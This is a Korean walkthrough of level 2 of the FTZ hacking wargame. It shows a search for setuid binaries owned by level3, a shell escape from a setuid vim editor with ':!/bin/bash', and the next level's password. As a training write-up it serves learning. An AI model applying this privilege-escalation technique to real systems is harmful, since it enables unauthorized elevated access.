[FTZ] FTZ Level 02

 

[FTZ] FTZ Level 01

 

👤 USER : level2

🔒PASSWORD : hacker or cracker

 

📌 현재 경로 확인

[level2@ftz level2]$ pwd

/home/level2

 

📌 디렉터리 목록 확인

[level2@ftz level2]$ ls -l

total 12 -rw-r--r-- 1 root root 60 Mar 23 2000 hint
drwxr-xr-x 2 root level2 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level2 4096 Jan 16 2009 tmp

 

📌 hint 파일 확인

[level2@ftz level2]$ cat hint

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데 ...

 

📌 find 명령어 및 옵션 이용

[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null

/usr/bin/editor

 

📌 경로이동 및 파일실행

[level2@ftz level2]$ cd /usr/bin/ [level2@ftz bin]$ pwd

/usr/bin [level2@ftz bin]$ ./editor

 

📌 Shell 획득

~
~
~
~
~ VIM - Vi IMproved
~
~ version 6.1.320
~ by Bram Moolenaar et al.
~ Vim is open source and freely distributable
~
~ Help poor children in Uganda!
~ type :help iccf<Enter> for information
~
~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line help
~ type :help version6<Enter> for version info
~
~
~
~
:!/bin/bash

[level2@ftz bin]$ ./editor

[level3@ftz bin]$

 

📌 Level 03 비밀번호 획득

[level3@ftz bin]$ my-pass

Level3 Password is "can you fly?".